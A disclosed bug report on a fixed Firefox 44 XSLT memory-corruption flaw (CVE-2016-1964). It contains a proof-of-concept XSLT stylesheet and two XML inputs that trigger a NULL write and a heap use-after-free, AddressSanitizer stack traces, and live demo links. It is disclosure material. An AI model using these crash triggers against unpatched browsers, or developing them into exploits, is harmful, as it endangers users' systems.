Write AV near NULL in AtomicBaseIncDec() / Heap UAF in nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr()
Originally disclosed on Mozilla
- Fixed in 13 days
- Paid in 20 days
- Disclosed after 13 days
Tested on latest Firefox 44 compiled with ASan+debug
Description: depending on the XML source to be transformed, two different crashes (a heap UAF and a write to NULL) can be seen
XSLT:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <xsl:variable name="v"> xsl:textfoo</xsl:text> xsl:apply-imports/ </xsl:variable> <xsl:attribute name="{$v}"/> </xsl:template> </xsl:stylesheet>
XML #1:
<top> <zou> </zou> </top>Output #1:
AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fc03686e84e sp 0x7fffd2c36280 bp 0x7fffd2c36280 T0) #0 0x7fc03686e84d in std::__atomic_base<int>::fetch_sub(int, std::memory_order) /tools/gcc-4.7.3-0moz1/lib/gcc/x86_64-unknown-linux-gnu/4.7.3/../../../../include/c++/4.7.3/bits/atomic_base.h:582 #1 0x7fc036864bf8 in mozilla::detail::AtomicBaseIncDec<int, (mozilla::MemoryOrdering)2>::operator--() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/js/src/../../dist/include/mozilla/Atomics.h:565 #2 0x7fc036864b2e in nsStringBuffer::Release() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/xpcom/string/nsSubstring.cpp:197 #3 0x7fc03af8449d in txTextHandler::~txTextHandler() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txTextHandler.h:12 #4 0x7fc03af49390 in txSetVariable::execute(txExecutionState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txInstructions.cpp:808 #5 0x7fc03af83c9d in txXSLTProcessor::execute(txExecutionState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49 #6 0x7fc03af5f347 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:681 #7 0x7fc03af62793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329 #8 0x7fc039793860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153 #9 0x7fc039e1d1ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691 #10 0x7fc03e197142 in js::CallJSNative(JSContext*, bool ()(JSContext, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235 #11 0x7fc03e15d9ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16 #12 0x7fc03e189add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105 #13 0x7fc03e175990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725 #14 0x7fc03e198e42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000 #15 0x7fc03e1999ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034 #16 0x7fc03de42c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598 #17 0x7fc03de42992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624 #18 0x7fc037a5f7d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876 #19 0x7fc037a5fa73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929 #20 0x7fc037a0012f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128 #21 0x7fc0379fd7c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546 #22 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54 #23 0x7fc031136ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #24 0x48a6cc in _start (/home/azureuser/ff-44/xpcshell+0x48a6cc)
Live demo #1:
http://nicob.net/firefox-aeshooT3/Bug-2/AtomicBaseIncDec-write_av_at_null.xml
XML #2:
<top> <zou></zou> </top>Output #2:
###!!! ASSERTION: We're leaking mEs->mResultHandler.: 'mEs->mResultHandler == this', file /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txUnknownHandler.cpp, line 80
==33391==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400005e290 at pc 0x7ff354733d92 bp 0x7fff7a6faf40 sp 0x7fff7a6faf38 READ of size 8 at 0x60400005e290 thread T0 #0 0x7ff354733d91 in nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/nsAutoPtr.h:74 #1 0x7ff354733a75 in txExecutionState::~txExecutionState() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:94 #2 0x7ff354756486 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:706 #3 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329 #4 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153 #5 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691 #6 0x7ff35798e142 in js::CallJSNative(JSContext*, bool ()(JSContext, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235 #7 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16 #8 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105 #9 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725 #10 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000 #11 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034 #12 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598 #13 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624 #14 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876 #15 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929 #16 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128 #17 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546 #18 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54 #19 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #20 0x48a6cc in _start (/home/azureuser/ff-44/xpcshell+0x48a6cc)
0x60400005e290 is located 0 bytes inside of 40-byte region [0x60400005e290,0x60400005e2b8) freed by thread T0 here: #0 0x472ae1 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64 #1 0x7ff3547338f4 in txExecutionState::~txExecutionState() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:85:37 #2 0x7ff354756486 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:706 #3 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329 #4 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153 #5 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691 #6 0x7ff35798e142 in js::CallJSNative(JSContext*, bool ()(JSContext, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235 #7 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16 #8 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105 #9 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725 #10 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000 #11 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034 #12 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598 #13 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624 #14 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876 #15 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929 #16 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128 #17 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546 #18 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54 #19 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
previously allocated by thread T0 here: #0 0x472ce1 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74 #1 0x48b0ad in moz_xmalloc /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/memory/mozalloc/mozalloc.cpp:83 #2 0x7ff3547516a1 in operator new(unsigned long) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/mozilla/mozalloc.h:186 #3 0x7ff3547516a1 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:92 #4 0x7ff354733f62 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:112 #5 0x7ff35475632d in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:677 #6 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329 #7 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153 #8 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691 #9 0x7ff35798e142 in js::CallJSNative(JSContext*, bool ()(JSContext, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235 #10 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16 #11 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105 #12 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725 #13 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000 #14 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034 #15 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598 #16 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624 #17 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876 #18 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929 #19 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128 #20 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546 #21 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54 #22 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/nsAutoPtr.h:74 nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr()
Live demo #2:
http://nicob.net/firefox-aeshooT3/Bug-2/nsAutoPtr-heap_uaf.xml
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity memory corruption bug in XSLT. Mozilla made it public on 9 February 2016 as CVE-2016-1964.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.